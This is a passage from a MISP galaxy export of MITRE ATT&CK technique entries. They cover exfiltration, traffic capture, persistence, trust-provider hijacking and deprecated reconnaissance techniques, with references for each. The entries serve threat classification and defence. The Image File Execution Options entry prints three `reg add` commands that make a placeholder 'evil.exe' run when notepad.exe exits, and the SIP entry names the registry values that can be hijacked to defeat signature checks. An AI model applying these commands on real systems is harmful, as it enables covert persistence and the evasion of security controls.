Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1011"*

Table 8014. Table References

Links
https://attack.mitre.org/techniques/T1011

Network Traffic Capture or Redirection - T1410

An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.

A malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.

Alternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.

An adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device's proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.

If applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410"*

Table 8015. Table References

Links
https://attack.mitre.org/techniques/T1410
https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/

Determine 3rd party infrastructure services - T1260

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1260).

Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1260"*

Table 8016. Table References

Links
https://attack.mitre.org/techniques/T1260

Analyze presence of outsourced capabilities - T1303

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1303).

Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze presence of outsourced capabilities - T1303"*

Table 8017. Table References

Links
https://attack.mitre.org/techniques/T1303

Boot or Logon Initialization Scripts - T1037

Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1037"*

Table 8018. Table References

Links
https://attack.mitre.org/techniques/T1037
https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
https://www.mandiant.com/resources/blog/unc3524-eye-spy-email

Data from Network Shared Drive - T1039

Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039"*

Table 8019. Table References

Links
https://attack.mitre.org/techniques/T1039

Download New Code at Runtime - T1407

Adversaries may download and execute dynamic code not included in the original application package after installation. This technique is primarily used to evade static analysis checks and pre-publication scans in official app stores. In some cases, more advanced dynamic or behavioral analysis techniques could detect this behavior. However, in conjunction with [Execution Guardrails](https://attack.mitre.org/techniques/T1627) techniques, detecting malicious code downloaded after installation could be difficult.

On Android, dynamic code could include native code, Dalvik code, or JavaScript code that utilizes Android WebView's `JavascriptInterface` capability.

On iOS, dynamic code could be downloaded and executed through 3rd party libraries such as JSPatch. (Citation: FireEye-JSPatch)

The tag is: *misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407"*

Table 8020. Table References

Links
https://attack.mitre.org/techniques/T1407
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html
https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html

Windows Management Instrumentation Event Subscription - T1084

Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084"*

Table 8021. Table References

Links
https://attack.mitre.org/techniques/T1084
https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf
https://www.secureworks.com/blog/wmi-persistence
https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf

Custom Command and Control Protocol - T1094

Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.

The tag is: *misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094"*

Table 8022. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1094

Trusted Developer Utilities Proxy Execution - T1127

Adversaries may take advantage of trusted developer utilities to proxy execution of malicious

payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.

Smart App Control is a feature of Windows that blocks applications it considers potentially malicious from running by verifying unsigned applications against a known safe list from a Microsoft cloud service before executing them.(Citation: Microsoft Smart App Control) However, adversaries may leverage "reputation hijacking" to abuse an operating system's trust of safe, signed applications that support the execution of arbitrary code. By leveraging [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127) to run their malicious code, adversaries may bypass Smart App Control protections.(Citation: Elastic Security Labs)

The tag is: *misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127"*

Table 8023. Table References

Links
https://attack.mitre.org/techniques/T1127
https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/
https://support.microsoft.com/en-us/windows/smart-app-control-frequently-asked-questions-285ea03d-fa88-4d56-882e-6698afdb7003
https://web.archive.org/web/20160816135945/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
https://www.elastic.co/security-labs/dismantling-smart-app-control

App Delivered via Web Download - T1431

The application is downloaded from an arbitrary web site. A link to the application's download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="App Delivered via Web Download - T1431"*

Table 8024. Table References

Links
https://attack.mitre.org/techniques/T1431

Image File Execution Options Injection - T1183

Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application's IFEO will be prepended to the application's name, effectively launching the new process under the debugger (e.g., "C:\dbg\ntsd.exe -g notepad.exe"). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)

- <code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512</code>
- <code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1</code>
- <code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"</code>

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.

Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)

The tag is: *misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1183"*

Table 8025. Table References

Links

https://attack.mitre.org/techniques/T1183
https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2

SIP and Trust Provider Hijacking - T1198

In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

Similar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

- Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP's CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file's real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function

will not match the value computed from the file).

- Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}</code> that point to the DLL providing a SIP's CryptSIPDllVerifyIndirectData function, which validates a file's computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
- Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy \{trust provider GUID}</code> that point to the DLL providing a trust provider's FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP's CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
- **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198"*

Table 8026. Table References

Links
http://www.entrust.net/knowledge-base/technote.cfm?tn=8165
https://attack.mitre.org/techniques/T1198
https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)
https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files
https://github.com/mattifestation/PoCSubjectInterfacePackage
https://msdn.microsoft.com/library/ms537359.aspx
https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

File and Directory Permissions Modification - T1222

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory's existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).

Adversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior)

The tag is: *misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222"*

Table 8027. Table References

Links
https://attack.mitre.org/techniques/T1222
https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior
https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware
https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/
https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/
https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110

https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100

Assess leadership areas of interest - T1224

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1224).

Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)

The tag is: *misp-galaxy:mitre-attack-pattern="Assess leadership areas of interest - T1224"*

Table 8028. Table References

Links
https://attack.mitre.org/techniques/T1224

Determine 3rd party infrastructure services - T1284

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1284).

A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1284"*

Table 8029. Table References

Links
https://attack.mitre.org/techniques/T1284

Determine highest level tactical element - T1243

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1243).

From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency.

(Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine highest level tactical element - T1243"*

Table 8030. Table References

Links
https://attack.mitre.org/techniques/T1243

Determine secondary level tactical element - T1244

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1244).

The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine secondary level tactical element - T1244"*

Table 8031. Table References

Links
https://attack.mitre.org/techniques/T1244

Attack PC via USB Connection - T1427

With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC(Citation: Wang-ExploitingUSB)(Citation: ArsTechnica-PoisonTap) This technique has been demonstrated on Android. We are unaware of any demonstrations on iOS.

The tag is: *misp-galaxy:mitre-attack-pattern="Attack PC via USB Connection - T1427"*

Table 8032. Table References

Links
http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/
http://dl.acm.org/citation.cfm?id=1920314
https://attack.mitre.org/techniques/T1427
https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html

Determine centralization of IT management - T1285

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1285).

Determining if a "corporate" help desk exists, the degree of access and control it has, and whether there are "edge" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine centralization of IT management - T1285"*

Table 8033. Table References

Links
https://attack.mitre.org/techniques/T1285

Determine external network trust dependencies - T1259

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1259).

Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEggWikipedia) (Citation: KGBComputerMe)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine external network trust dependencies - T1259"*

Table 8034. Table References

Links
https://attack.mitre.org/techniques/T1259

Analyze organizational skillsets and deficiencies - T1297

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1297).

Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies -*

T1297"

Table 8035. Table References

Links
https://attack.mitre.org/techniques/T1297

Analyze architecture and configuration posture - T1288

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1288).

An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze architecture and configuration posture - T1288"*

Table 8036. Table References

Links
https://attack.mitre.org/techniques/T1288

Analyze organizational skillsets and deficiencies - T1289

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1289).

Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1289"*

Table 8037. Table References

Links
https://attack.mitre.org/techniques/T1289

Leverage compromised 3rd party resources - T1375

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics

for replacement techniques.

The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)

The tag is: *misp-galaxy:mitre-attack-pattern="Leverage compromised 3rd party resources - T1375"*

Table 8038. Table References

Links
https://attack.mitre.org/techniques/T1375

Procure required equipment and software - T1335

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1335).

An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)

The tag is: *misp-galaxy:mitre-attack-pattern="Procure required equipment and software - T1335"*

Table 8039. Table References

Links
https://attack.mitre.org/techniques/T1335
https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html

SSL certificate acquisition for domain - T1337

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1337).

Certificates are designed to instill trust. They include information about the key, information about its owner’s identity, and the digital signature of an entity that has verified the certificate’s contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [Wachovia](https://www.wellsfargo.com/about/corporate/wachovia) — homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)

The tag is: *misp-galaxy:mitre-attack-pattern="SSL certificate acquisition for domain - T1337"*

Table 8040. Table References

Links
https://attack.mitre.org/techniques/T1337
https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/

Confirmation of launched compromise achieved - T1383

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)

The tag is: *misp-galaxy:mitre-attack-pattern="Confirmation of launched compromise achieved - T1383"*

Table 8041. Table References

Links
https://attack.mitre.org/techniques/T1383

App Delivered via Email Attachment - T1434

The application is delivered as an email attachment.

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="App Delivered via Email Attachment - T1434"*

Table 8042. Table References

Links
https://attack.mitre.org/techniques/T1434

Create or Modify System Process - T1543

Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform

background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)

Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.

Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection)

The tag is: *misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543"*

Table 8043. Table References

Links
https://attack.mitre.org/techniques/T1543
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf
https://technet.microsoft.com/en-us/library/cc772408.aspx

Build and configure delivery systems - T1347

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1347).

Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Build and configure delivery systems - T1347"*

Table 8044. Table References

Links
https://attack.mitre.org/techniques/T1347

Automated system performs requested action - T1384

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Automated system performs requested action - T1384"*

Table 8045. Table References

Links
https://attack.mitre.org/techniques/T1384

Exfiltration Over Other Network Medium - T1438

Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a standard Internet connection, the exfiltration may occur, for example, via Bluetooth, or another radio frequency (RF) channel.

Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1438"*

Table 8046. Table References

Links
https://attack.mitre.org/techniques/T1438
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html

Eavesdrop on Insecure Network Communication - T1439

If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication.(Citation: mHealth)

The tag is: *misp-galaxy:mitre-attack-pattern="Eavesdrop on Insecure Network Communication - T1439"*

Table 8047. Table References

Links
https://attack.mitre.org/techniques/T1439
https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html

Distribute malicious software development tools - T1394

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1394).

